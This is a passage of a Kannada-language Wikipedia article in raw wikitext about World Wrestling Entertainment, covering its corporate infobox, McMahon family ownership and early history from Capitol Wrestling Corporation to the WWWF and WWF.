ಲೆಟ್ರೆಸ್‌ನ ಅಧಿಕಾರಿಗಳು]] 396dqpyjltzcife50jcqkv4x80hy8zm ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ 0 21566 1116452 1062008 2022-08-23T12:52:06Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Company |company_name=ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ |company_logo= |company_type=[[Public company|Public]] ({{nyse|WWE}}) |foundation=1952 |founder=[[Roderick McMahon]]<br>[[Toots Mondt]] |location_city=[[Stamford, Connecticut]] |location_country=U.S. |key_people=[[Vince McMahon]]<br>([[Chairman]] and [[Chief executive officer|CEO]])<br/>[[Shane McMahon]]<br>(Executive Vice President of Global Media)<br/>[[Stephanie McMahon|Stephanie McMahon-Levesque]]<br> (Executive Vice President of Talent Relations, Live Events and Creative Writing) |industry=[[Professional wrestling]], [[sports entertainment]] |revenue={{profit}} $526.46 million <small>(2008)</small><ref name=2008Q4>{{cite web|url= http://corporate.wwe.com/news/documents/PRESSRELEASEFINAL2-24-09.pdf|title=WWE Reports 2008 Fourth Quarter and Full Year Results| accessdate=2008-02-24|format=PDF|pages=5}}</ref> |operating_income={{profit}} $70.29 million <small>(2008)</small><ref name=2008Q4 /> |net_income={{decrease}} $45.42 million <small>(2008)</small><ref name=2008Q4 /> |assets={{decrease}} $429.41 million <small>(2008)</small><ref name=2008Q4 /> |equity={{decrease}} $359.97 million <small>(2008)</small><ref name=2008Q4 /> |num_employees=564 (as of February 2009, excluding wrestlers)<ref name=200810-K>{{cite web|title=WWE 2008 10-K Report|publisher=WWE|url=http://corporate.wwe.com/documents/200810-K_002.pdf|accessdate=2009-04-10|archive-date=2009-03-24|archive-url=https://web.archive.org/web/20090324205929/http://corporate.wwe.com/documents/200810-K_002.pdf|url-status=dead}}</ref> |homepage=[http://www.wwe.com/ Official Site]<br />[http://corporate.wwe.com/ Corporate WWE Web Site] }} '''ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್'''(World Wrestling Entertainment, Inc.) '''''' ('''WWE''' ) ಸಾರ್ವಜನಿಕವಾಗಿ-ವ್ಯಾಪಾರ ನಡೆಸುತ್ತಿರುವ, ಖಾಸಗಿಯಾಗಿ-ನಿಯಂತ್ರಿಸಲ್ಪಡುತ್ತಿರುವ [[ಒಗ್ಗೂಡಿಸಿದ ಕಲೆಗಳು|ಸಂಯೋಜಿತ ಮಾಧ್ಯಮ]] ಮತ್ತು [[ಕ್ರೀಡಾ ಮನೋರಂಜನೆ|ಕ್ರೀಡಾ ಮನರಂಜನೆಯ]] ಸಂಸ್ಥೆಯಾಗಿದ್ದು, (ಇದು [[ದೂರದರ್ಶನ]], [[ಅಂತರ್ಜಾಲ]] ಮತ್ತು ನೇರ ಪಂದ್ಯಾವಳಿಗಳ ಮೇಲೆ ಗಮನಹರಿಸುತ್ತಿದೆ), ಪ್ರಮುಖವಾಗಿ [[ವ್ರೆಸ್ಲಿಂಗ್ ವೃತ್ತಿ ನಿರತರು|ವೃತ್ತಿನಿರತ ರೆಸ್ಟಲಿಂಗ್]] ಕ್ರೀಡೆಯನ್ನು ನಡೆಸುತ್ತದೆ. ಇದಕ್ಕೆ [[ಚಲನಚಿತ್ರ|ಸಿನೆಮಾ]], [[ಸಂಗೀತ]], ಉತ್ಪನ್ನ ಪರವಾನಗಿ ಮಾಡುವಿಕೆ ಮತ್ತು ನೇರ ಉತ್ಪನ್ನ ಮಾರಾಟಗಳೂ [[ಆದಾಯ|ಆದಾಯ ಮೂಲ]]ಗಳಾಗಿವೆ. ಈ ಸಂಸ್ಥೆಯಲ್ಲಿ [[ಮಾಲಿಕತ್ವ|ಹೆಚ್ಚಿನ ಪಾಲು ಹೊಂದಿದ]] [[ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್]] ರವರು, ಇದರ [[ಚೇರ್ಮನ್|ಅಧ್ಯಕ್ಷ]] ಮತ್ತು [[ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿ|ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಾಹಕ ಅಧಿಕಾರಿ]] (CEO) ಆಗಿದ್ದಾರೆ. ಅವರ ಹೆಂಡತಿ [[ಲಿಂಡಾ ಮ್ಯಾಕ್‌ಮೋಹನ್]] ಮತ್ತು ಅವರ ಮಕ್ಕಳು, ಗ್ಲೋಬಲ್ ಮೀಡಿಯಾದ ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರಾದ [[ಶೇನ್ ಮ್ಯಾಕ್‌ಮೋಹನ್]]‍, ಪ್ರತಿಭೆ ಮತ್ತು ಸೃಜನಶೀಲ ಬರವಣಿಗೆ ವಿಭಾಗದ ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರಾದ [[ ಸ್ಟೆಫನಿ ಮ್ಯಾಕ್‌ಮೋಹನ್| ಸ್ಟೀಫನ್ ಮ್ಯಾಕ್‌ಮೋಹನ್-ಲೆವೆಸ್ಕ್]] ಇವರನ್ನೊಡಗೂಡಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಕುಟುಂಬದವರು WWEಯ ಸುಮಾರು 70% ನಷ್ಟು [[ಆರ್ಥಿಕತೆ|ಅರ್ಥಿಕ]] ಬಂಡವಾಳವನ್ನು ಮತ್ತು 96% ನಷ್ಟು [[ಮತ ಚಲಾಯಿಸುವ ಆಸಕ್ತಿ|ಮತದಾನದ ಅಧಿಕಾರವನ್ನು]] ಹೊಂದಿದ್ದಾರೆ. ಕಂಪೆನಿಯ ಜಾಗತಿಕ [[ಪ್ರಧಾನಕಚೇರಿ|ಕೇಂದ್ರಕಾರ್ಯಾಲಯ]] [[ಸ್ಟಾಮ್‍ಫೊರ್ಡ್,ಕನೆಕ್ಟಿಕಟ್|ಕನೆಕ್ಟಿಕಟ್‌‌ನ ಸ್ಟಾಮ್‌ಫೊರ್ಡ್‌]]ನಲ್ಲಿ ಸ್ಥಾಪಿತವಾಗಿದೆ, ಜೊತೆಗೆ [[ಲಾಸ್ ಏಂಜಲೀಸ್|ಲಾಸ್ ಎಂಜಲೀಸ್]], [[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ|ನ್ಯೂ‌ಯಾರ್ಕ್ ಸಿಟಿ]], [[ಲಂಡನ್‌|ಲಂಡನ್]] ಮತ್ತು [[ಟೊರೊಂಟೊ]]ಗಳಲ್ಲಿ ಕಛೇರಿಗಳಿವೆ. ಕಂಪೆನಿಯು ಮೊದಲು ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಷನ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂದು ಬದಲಾಗುವ ಮುಂಚೆ ಟೈಟನ್ ಸ್ಪೋರ್ಟ್ಸ್‌ ಎಂದು ಪ್ರಚಲಿತದಲ್ಲಿತ್ತು ಮತ್ತು ನಂತರ ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂದಾಯಿತು. WWEಯ ವ್ಯವಹಾರ ಪೃತ್ತಿಪರ [[ಕುಸ್ತಿ]]ಯ ಮೇಲೆ ಕೇಂದ್ರೀಕೃತವಾಗಿದೆ. ಇದು ಕುಸ್ತಿಯ ಜೊತೆಗೆ [[ನಟನೆ ಮಾಡುವುದು|ಅಭಿನಯ]] ಮತ್ತು [[ರಂಗಭೂಮಿ|ನಾಟಕಕಲೆ]]ಯ ಮಿಶ್ರಣವಿರುವ ಒಂದು [[ತೋರಿಕೆ|ಅಭಿನಯ]][[ಕ್ರೀಡೆ]] ಯಾಗಿದೆ. ಸದ್ಯಕ್ಕೆ ಇದು ಪ್ರಪಂಚದ ಬೃಹತ್ [[ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿಯ ಪ್ರೋತ್ಸಾಹನೆ|ವೃತ್ತಿಪರ ಕುಸ್ತಿ ಪ್ರಚಾರ]]ವಾಗಿದ್ದು, ಮತ್ತು ವೃತ್ತಿಪರ ಕುಸ್ತಿಯ ದೃಶ್ಯ ಇತಿಹಾಸದ ಪ್ರಮುಖ ಭಾಗಗಳಿರುವ [[WWE ವಿಡಿಯೋ ಗ್ರಂಥಾಲಯ|ವ್ಯಾಪಕವಾದ ಒಂದು ವೀಡಿಯೊ ಲೈಬ್ರರಿ]]ಯನ್ನು ಹೊಂದಿದೆ. ಈ ಮೊದಲು ಪ್ರಚಾರವು ಕ್ಯಾಪಿಟೊಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಕಾರ್ಪೊರೇಷನ್ ಎಂದು ಅಸ್ತಿತ್ವದಲ್ಲಿತ್ತು. ಅದನ್ನು ವರ್ಲ್ಡ್ಸ್ ವೈಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಷನ್(WWWF) ಬ್ಯಾನರ್ ಅಡಿಯಲ್ಲಿ ಪ್ರೋತ್ಸಾಹಿಸಲಾಯಿತು ಮತ್ತು ನಂತರ ಅದು ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೆಷನ್ (WWF) ಎಂದು ಆಯಿತು. WWE ಈ ಮೂರು ಬ್ರಾಂಡ್‌ಗಳಡಿಯಲ್ಲಿ ಪ್ರಚಾರ ಮಾಡುತ್ತದೆ: [[WWE ರಾ|ರಾ (Raw)]], [[WWE ಸ್ಮ್ಯಾಕ್‌ಡೌನ್|ಸ್ಮ್ಯಾ‌ಕ್‌ಡೌನ್]], ಮತ್ತು [[ECW (WWE)|ECW]]. WWEಯು ಈ ಮೂರು [[ವರ್ಲ್ಡ್ ಹೆವಿವೇಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ (ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿ)|ವರ್ಲ್ಡ್ ಹೇವಿವೈಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್‌ಗಳಿಗೆ]] ತವರು ಕೂಡ ಆಗಿದೆ: [[WWE ಚಾಂಪಿಯನ್‌ಶಿಪ್|WWE ಚಾಂಪಿಯನ್‌ಶಿಪ್‌]], [[ವರ್ಲ್ಡ್ ಹೇವಿವೇಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ (WWE)|ವರ್ಲ್ಡ್ ಹೇವಿವೈಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್]], ಮತ್ತು [[ECW ಚಾಂಪಿಯನ್‌ಶಿಪ್]]. ==ಸಂಸ್ಥೆಯ ಇತಿಹಾಸ== {{Main|History of World Wrestling Entertainment}} ===ಕ್ಯಾಪಿಟೊಲ್ ವ್ರೆಸ್ಲಿಂಗ್=== [[ರೊಡ್ರಿಕ್ ಮ್ಯಾಕ್‌ಮೋಹನ್|ರಾಡ್ರಿಕ್ ಜೇಮ್ಸ್ "ಜೇಸ್" ಮ್ಯಾಕ್‌ಮೋಹನ್]] ಬಾಕ್ಸಿಂಗ್ ಪ್ರವರ್ತಕನಾಗಿದ್ದು, 1915ರಲ್ಲಿ [[ಜೆಸ್ಸ್ ವಿಲಿಯರ್ಡ್|ಜೆಸ್ ವಿಲ್ಲಿಯಾರ್ಡ್]] ಮತ್ತು [[ಜಾಕ್ ಜಾನ್ಸನ್ (ಬಾಕ್ಸರ್)|ಜಾಕ್ ಜಾನ್ಸನ್]] ನಡುವೆ ನಡೆದ ಒಂದು ಕುಸ್ತಿಯ ಸುತ್ತಿನ ಸಹಪ್ರವರ್ತಕ ಆಗಿದ್ದು ಅವನ ಸಾಧನೆಗಳಲ್ಲಿ ಒಂದು. 1926ರಲ್ಲಿ,[[ಟೆಕ್ಸ್ ರಿಖಾರ್ಡ್|ಟೆಕ್ಸ್ ರಿಕ್‌ಯಾರ್ಡ್]](ಇವನು ನಿಜವಾಗಿ ಕುಸ್ತಿಯನ್ನು ಎಷ್ಟು ದ್ವೇಷಿಸುತ್ತಿದ್ದನೆಂದರೆ 1939 ಮತ್ತು 1948ರ ನಡುವೆ [[ಮಡಿಸನ್ ಸ್ಕ್ವೆರ್ ಗಾರ್ಡನ್|ಮ್ಯಾಡಿಸನ್ ಸ್ಕ್ವಯರ್ ಗಾರ್ಡನ್‌ನಲ್ಲಿ]] ಕುಸ್ತಿ ಪಂದ್ಯಾವಳಿಗಳು ನಡೆಯದಂತೆ ಪ್ರತಿಬಂಧಿಸಿದ್ದನು.) ಜೊತೆ ಕೆಲಸ ಮಾಡುವಾಗ, [[ನ್ಯೂಯಾರ್ಕ್|ನ್ಯೂ ಯಾರ್ಕ್‌ನ]] ಮ್ಯಾಡಿಸನ್ ಸ್ಕ್ವಯರ್ ಗಾರ್ಡನ್‌ನಲ್ಲಿ ಕುಸ್ತಿಯನ್ನು ಪ್ರವರ್ಧಮಾನಕ್ಕೆ ತರಲು ಪ್ರಾರಂಭಿಸಿದನು. ಇವರ ಸಹಭಾಗಿತ್ವದಲ್ಲಿ ಮೊದಲ ಪಂದ್ಯವು [[ಜಾಕ್ ಡೆಲನಿ|ಜಾಕ್ ಡೆಲಾನೈ]] ಮತ್ತು [[ಪೌಲ್ ಬರ್ಲೆನ್‌ಬಾಶ್|ಪೌಲ್ ಬೆರ್ಲೆನ್‌ಬಚ್]] ನಡುವೆ ಲೈಟ್ ಹೇವಿವೈಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಪಂದ್ಯವಾಗಿತ್ತು. ಹೆಚ್ಚು ಕಡಿಮೆ ಅದೇ ಸಮಯಕ್ಕೆ, ವೃತ್ತಿಪರ ಕುಸ್ತಿಪಟು [[ಟೂಟ್ಸ್ ಮಾಂಡ್ಟ್|ಜೋಸೆಫ್ ರೈಮಂಡ್ "ಟೋಟ್ಸ್" ಮೊಂಡ್ಟ್]] ಹೊಸ ವಿಧದ ಕುಸ್ತಿ ಸೃಷ್ಟಿ ಮಾಡಿದನು. ವೀಕ್ಷಕರಿಗೆ ಈ ಕ್ರೀಡೆ ಇನ್ನೂ ಹೆಚ್ಚು ಅಕರ್ಷಿತವಾಗಲು ಸೃಷ್ಟಿಸಿದ ಇದನ್ನು ಆತ ಸ್ಲಾಮ್ ಬ್ಯಾಂಗ್ ವೆಸ್ಟರ್ನ್ ಸ್ಟೈಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂದು ಕರೆದನು. ನಂತರ ಅವನು ವ್ರೆಸ್ಲಿಂಗ್ ಚಾಂಪಿಯನ್ [[ಎಡ್ ಲೆವಿಸ್ (ಕುಸ್ತಿಪಟು)|ಎಡ್ ಲೆವಿಸ್]] ಮತ್ತು ಅವನ ಮ್ಯಾನೇಜರ್ ಆದ [[ಬಿಲ್ಲಿ ಸಾಂಡೋ|ಬಿಲ್ಲಿ ಸ್ಯಾಂಡೊ]] ಜೊತೆ ಸೇರಿ ಒಂದು ಪ್ರಚಾರ ರೂಪಿಸಿದನು. ಅವರು ಅನೇಕ ಕುಸ್ತಿ ಪಟುಗಳಿಗೆ ಅವರ ಜೊತೆ [[ಗೋಲ್ಡ್ ಡಸ್ಟ್ ಟ್ರಾಯೊ|ಗ್ಲೋಡ್ ಡಸ್ಟ್ ಟ್ರಿಯೋ]] ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಲು ಮನ ಒಲಿಸಿದರು.ಅವರಿಗೆ ಸಾಕಷ್ಟು ಯಶಸ್ಸು ದೊರೆತ ನಂತರ, ಅಧಿಕಾರಕ್ಕಾಗಿ ಜಗಳ ಪ್ರಾರಂಭವಾಯಿತು ಮತ್ತು ಅದರಿಂದಾಗಿ ಟ್ರಿಯೋ ರದ್ದಾಯಿತು. ಜೊತೆಗೆ ಅವರ ಪ್ರಚಾರವೂ ಕೂಡಾ ರದ್ದಾಯಿತು. ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿಯಲ್ಲಿ [[ಜಾಕ್ ಕರ್ಲಿ|ಜಾಕ್ ಕರ್ಲಿ‌]]ಯನ್ನೂ ಸೇರಿದಂತೆ ಮೊಂಡ್ಟ್ ಹಲವು ಇತರೆ ಪ್ರವರ್ತಕರೊಡನೆ ಸಹಭಾಗಿತ್ವ ರೂಪಿಸಿದ್ದ. ಕರ್ಲಿ ಸಾಯುವ ಸಮಯದಲ್ಲಿ, ಮೊಂಡ್ಟ್ ನ್ಯೂಯಾರ್ಕ್ ವ್ರೆಸ್ಲಿಂಗ್‌ನ್ನು ಹಲವು ಕಾಯ್ದಿರಿಕೆದಾರರ ಸಹಾಯದಿಂದ ವಶಪಡಿಸಿಕೊಳ್ಳಲು ತೀರ್ಮಾನಿಸಿದ, ಅದರಲ್ಲಿ ಜೆಸ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಒಬ್ಬನಾಗಿದ್ದ. ರಾಡಿಕ್ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಮತ್ತು ರೇಮಂಡ್ ಮೊಂಡ್ಟ್ ಜೊತೆಸೇರಿ ಕ್ಯಾಪಿಟೊಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಕಾರ್ಪೊರೇಷನ್(CWC) ಸೃಷ್ಟಿಸಿದರು. 1953ರಲ್ಲಿ CWC [[ರಾಷ್ಟ್ರೀಯ ಕುಸ್ತಿ ಒಕ್ಕೂಟ|ನ್ಯಾಷನಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಅಲೈನ್ಸ್]] ಸೇರಿತು. ಅದೇ ವರ್ಷದಲ್ಲಿ, ಮೊಂಡ್ಟ್‌ನ ಜೊತೆಗಾರರಲ್ಲಿ ಒಬ್ಬನಾದ ರೇ ಫಬಿಯಾನಿಯು ಜೆಸ್‌ನ ಬದಲಿಗೆ ಅವನ ಮಗನಾದ [[ವಿನ್ಸೆಂಟ್ ಜೆ.ಮ್ಯಾಕ್‌ಮೋಹನ್|ವಿನ್‌ಸೆಂಟ್ ಜೆ.ಮ್ಯಾಕ್‌ಮೋಹನ್]] ಪ್ರಚಾರ ಕಾರ್ಯಕ್ಕಾಗಿ ಕರೆತಂದ. ಮ್ಯಾಕ್‌ಮೋಹನ್ ಮತ್ತು ಮೊಂಡ್ಟ್ ಒಂದು ಯಶಸ್ವಿ ಜೋಡಿಯಾಗಿದ್ದರು, ಮತ್ತು ಕಡಿಮೆ ಸಮಯದಲ್ಲಿ ಅವರು NWAನ ಕಾಯ್ದಿರಿಕೆಯಲ್ಲಿ ಸುಮಾರು 70% ನಿಯಂತ್ರಿಸಿದರು. ಇದಕ್ಕೆ ಕಾರಣ ಹೆಚ್ಚಿನ ಜನಸಂಖ್ಯೆ ಹೊಂದಿದ ಈಶಾನ್ಯ ಪ್ರದೇಶದಲ್ಲಿನ ಅವರ ಪ್ರಾಬಲ್ಯ. ಮ್ಯಾಕ್‌ಮೋಹನ್‌ಗೆ ಕಾಯ್ದಿರಿಸುವಿಕೆ ಮತ್ತು ಕುಸ್ತಿ ವ್ಯವಹಾರದಲ್ಲಿ ಹೇಗೆ ಕೆಲಸ ಮಾಡಬೇಕು ಎಂಬುದನ್ನು ಹೇಳಿಕೊಟ್ಟವನು ಮೊಂಡ್ಟ್. ಈಶಾನ್ಯದಲ್ಲಿನ ಪ್ರಾಬಲ್ಯದಿಂದಾಗಿ [[ಅಮೇರಿಕಾದ ಕುಸ್ತಿ ಸಂಘ|ಅಮೆರಿಕಾದ ವ್ರೆಸ್ಲಿಂಗ್ ಅಸೋಸಿಯೇಶನ್]] ಮುಖ್ಯಸ್ಥ ಮತ್ತು[[WWE ಹಾಲ್ ಆಫ್ ಫೇಮ್|WWEನ ಹಾಲ್ ಆಫ್ ಫೇಮರ್]] [[ನಿಕ್ ಬೊಕ್‌ವಿಂಕೆಲ್|ನಿಕ್ ಬಾಕ್ವಿಂಕಲ್]] ಅವರು [[ಪಿಟ್ಸ್‌ಬರ್ಗ್]], [[ವಾಷಿಂಗ್ಟನ್‌, D.C.|ವಾಶಿಂಗ್ಟನ್.ಡಿ.ಸಿ]] ಮತ್ತು [[ಮೈನೆ|ಮೈನ್]] ಗಳನ್ನು ಸೇರಿಸಿ ನಾರ್ಥ್ ಈಸ್ಟ್ [[ತ್ರಿಕೋನ]]ವನ್ನು ರಚಿಸಿದರು.<ref>''The Spectacular Legacy of the AWA DVD''</ref> ===ವರ್ಲ್ಡ್ ವೈಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಶನ್=== NWA ಒಂದು ವಿವಾದರಹಿತ [[NWA ವರ್ಲ್ದ್ ಹೇವಿವೇಟ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|NWA ವರ್ಲ್ದ್ ಹೇವಿವೇಯಿಟ್ ಚಾಂಪಿಯನ್‌]] ಎಂದು ಗುರುತಿಸಲ್ಪಟ್ಟಿದ್ದು, ಅದು ಒಂದು ವ್ರೆಸ್ಲಿಂಗ್ ಕಂಪೆನಿಯಿಂದ ಇನ್ನೊಂದು ಕಂಪೆನಿಗೆ ಹೋಗಿ ಹೋರಾಡಿ ಪ್ರಪಂಚದಾದ್ಯಂತ ಬೆಲ್ಟನ್ನು ಕಾಪಾಡಿಕೊಂಡಿದೆ. 1963ರಲ್ಲಿ, [[ಬಡ್ಡಿ ರೊಜರ್ಸ್ (ಕುಸ್ತಿಪಟು)|"ನೇಚರ್ ಬಾಯ್" ಬಡ್ಡಿ ರೋಜರ್ಸ್]] ಚಾಂಪಿಯನ್ ಆದನು. ಉಳಿದ NWAಗಳು ಮೊಂಡ್ಟ್‌ಯೊಂದಿಗೆ ಅತೃಪ್ತಗೊಂಡಿದ್ದರು. ಏಕೆಂದರೆ ಅವನು ರೋಜರ್ಸ್‌ನನ್ನು ಅಪರೂಪಕ್ಕೆ ನಾರ್ಥ್‌ಈಸ್ಟ್‌‌ನ ಹೊರಗೆ ಕುಸ್ತಿಯಾಡಲು ಅವಕಾಶ ನೀಡುತ್ತಿರಲಿಲ್ಲ. ಮೊಂಡ್ಟ್‌ ಮತ್ತ್ತುಮ್ಯಾಕ್‌ಮೋಹನ್ ರೋಜರ್ಸ್‌ನನ್ನು NWA ವರ್ಲ್ಡ್‌ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಆಗಿ ಉಳಿಸಿಕೊಳ್ಳಲು ಬಯಸಿದರು, ಆದರೆ ರೊಜರ್ಸ್‌ಗೆ ಅವನ $25,೦೦೦ ಮುಂಗಡ ಹಣವನ್ನು ತ್ಯಾಗಮಾಡಲು ಇಷ್ಟವಿರಲಿಲ್ಲ (ಆ ಸಮಯದಲ್ಲಿ ಬಿರುದು ಪಡೆದವನು ಚಾಂಪಿಯನ್ ಆಗಿ ಅವರ ಬದ್ಧತೆಯ ಮಾನ್ಯತೆಗೆ ವಿಮೆಯಾಗಿ ಮುಂಗಡ ಹಣ ಪಾವತಿಸಬೇಕಾಗಿತ್ತು). ರೋಜರ್ಸ್ ಜನವರಿ 24, 1963 ರಲ್ಲಿ, ಒಂಟಾರಿಯೋನ ಟೋರೊಂಟೊದಲ್ಲಿ ಒಂದು-ಪತನ ಪಂದ್ಯದಲ್ಲಿ [[ಲೌ ಥೆಸ್|Lou Thesz]] ವಿರುದ್ಧ NWA ವರ್ಲ್ಡ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್‌ನ್ನು ಸೋತನು. ಇದು ಮೊಂಡ್ಟೊ, ಮ್ಯಾಕ್‌ಮೋಹನ್ ಮತ್ತು CWC ಪ್ರತಿಭಟನೆಯಲ್ಲಿ NWAನ್ನು ನಿರ್ಗಮಿಸಲು ದಾರಿಯಾಯಿತು, ಮತ್ತು ಈ ಮೂಲಕ ವರ್ಲ್ಡ್ ವೈಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಶನ್‌ನ (WWWF) ಹುಟ್ಟಿಗೆ ಕಾರಣವಾಯಿತು. ಏಪ್ರಿಲ್‍ನಲ್ಲಿ, [[ರಿಯೋ ಡಿ ಜನೆರೊ]]ನಲ್ಲಿ ಒಂದು [[ಅಪೊಕ್ರೈಫಾ|ಕಲ್ಪಿತ]] ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ರೊಜರ್ಸ್‌ಗೆ ಹೊಸ WWWF ವರ್ಲ್ಡ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ನೀಡಲಾಯಿತು. ಆದರೆ ಆತನಿಗೆ ಪಂದ್ಯಕ್ಕಿಂತ ಸ್ವಲ್ಪ ಸಮಯ ಮುನ್ನ [[ಮಯೋಕಾರ್ಡಿಯಲ್ ಇನ್ಫಾರ್ಕ್ಷನ್|ಹೃದಯಾಘಾತ]] ಉಂಟಾದ್ದರಿಂದಾಗಿ, ಒಂದು ತಿಂಗಳ ನಂತರ ಅಂದರೆ ಮೇ ೧೭, ೧೯೬೩ ರಂದು [[ಬ್ರೂನೊ ಸ್ಯಾಮ್ಮರಟಿನೊ|ಬ್ರುನೊ ಸ್ಯಾಮಾರ್ಟಿನೊ]] ಆ ಪ್ರಶಸ್ತಿಯನ್ನು ಗೆದ್ದನು. ರೋಜರ್ಸ್‌ನ ಅನಾರೋಗ್ಯದ ಸ್ಥಿತಿಯಿಂದಾಗಿ ಆ ಪಂದ್ಯವನ್ನು ಒಂದು ನಿಮಿಷಕ್ಕಿಂತ ಕಡಿಮೆ ಸಮಯದಲ್ಲಿ ಆಡಿಸಲು ನಿರ್ಧರಿಸಲಾಯಿತು. ಅರವತ್ತರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ ಮೊಂಡ್ಟ್ ಕಂಪೆನಿಯನ್ನು ತ್ಯಜಿಸಿದ. WWWFನ್ನು NWAಯಿಂದ ಹಿಂತೆಗೆದುಕೊಂಡಿದರೂ, ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಸೀನಿಯರ್ ಬೋರ್ಡ್ ಅಫ್ ಡೈರೆಕ್ಟರ್‌ನಲ್ಲಿ ಇದ್ದರು. ನಾರ್ಥ್‌ಈಸ್ಟ್‌ನಲ್ಲಿ ಬೇರೆ ಯಾವುದೇ ಪ್ರದೇಶ ಮಾನ್ಯತೆ ಪಡೆದಿರಲಿಲ್ಲ ಮತ್ತು ಕೆಲವು ಚಾಂಪಿಯನ್ ವರ್ಸಸ್ ಚಾಂಪಿಯನ್ ಪಂದ್ಯಗಳು ನಡೆಯುತ್ತಿದ್ದವು.(ಸಾಮಾನ್ಯವಾಗಿ ಎರಡು ಅನರ್ಹತೆಯಲ್ಲಿ ಕೊನೆಗೊಳ್ಳುವುದು ಅಥವಾ ನಿರ್ಣಾಯಕವಾಗದೆ ಕೊನೆಗೊಳ್ಳುವುದು) ಮಾರ್ಚ್‌ 1979 ರಲ್ಲಿ WWWF ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಶನ್(WWF) ಅಯಿತು. ಈ ಬದಲಾವಣೆ ಸಂಪೂರ್ಣ ಹೊರನೋಟಕ್ಕೇ ಆದರೂ ಮತ್ತು ಈ ವೇಳೆಯಲ್ಲಿ ಮಾಲಿಕತ್ವ ಮತ್ತು ಮುಖ್ಯ ಕಛೇರಿ ನೌಕರರ ವರ್ಗದಲ್ಲಿ ಯಾವುದೇ ಬದಲಾವಣೆಯಾಗಲಿಲ್ಲ. ===ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಶನ್ === [[File:Vince McMahon hof.jpg|thumb|250px|ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್,Titan Sports,Inc.ಸ್ಥಾಪಕ ಮತ್ತು ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್ಟೈನ್‌ಮೆಂಟ್‌ನ ಹಾಲಿ ಬಹುಮತದ ಮಾಲೀಕ]] 1980ರಲ್ಲಿ, ವಿನ್ಸೆಂಟ್ ಜೆ.ಮ್ಯಾಕ್‌ಮೋಹನ್‌ನ ಮಗ [[ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್|ವಿನ್ಸೆಂಟ್ ಕೆನ್ನೆಡಿ ಮ್ಯಾಕ್‌ಮೋಹನ್]], Titan Sports, Inc. ಸ್ಥಾಪಿಸಿದ ಮತ್ತು 1982ರಲ್ಲಿ ಅವನ ತಂದೆಯಿಂದ ಕ್ಯಾಪಿಟೋಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಕಾರ್ಪೋರೇಶನ್ ಖರೀದಿಸಿದನು. ಹಿರಿಯ ಮ್ಯಾಕ್‌ಮೋಹನ್ ನಾರ್ಥ್‌ಈಸ್ಟ್ ಪ್ರದೇಶ ಸ್ಥಾಪಿತವಾದಾಗಿನಿಂದ NWA ನ ಶಕ್ತಿಶಾಲಿ ಸದಸ್ಯ ಪ್ರದೇಶವನ್ನಾಗಿ ರೂಪಿಸಿದ. ಅವನು ಹಿಂದಿನಿಂದಲೂ ವೃತ್ತಿಪರ ಕುಸ್ತಿಯನ್ನು ನಿಜವಾದ ಕ್ರೀಡೇಗಿಂತ [[ಕ್ರೀಡಾ ಮನೊರಂಜನೆ|ಮನೋರಂಜನೆ]] ಎಂದು ಗುರುತಿಸಿದವನು. ಅವನ ತಂದೆಯ ಆಸೆಗಳಿಗೆ ವಿರುದ್ಧವಾಗಿ, 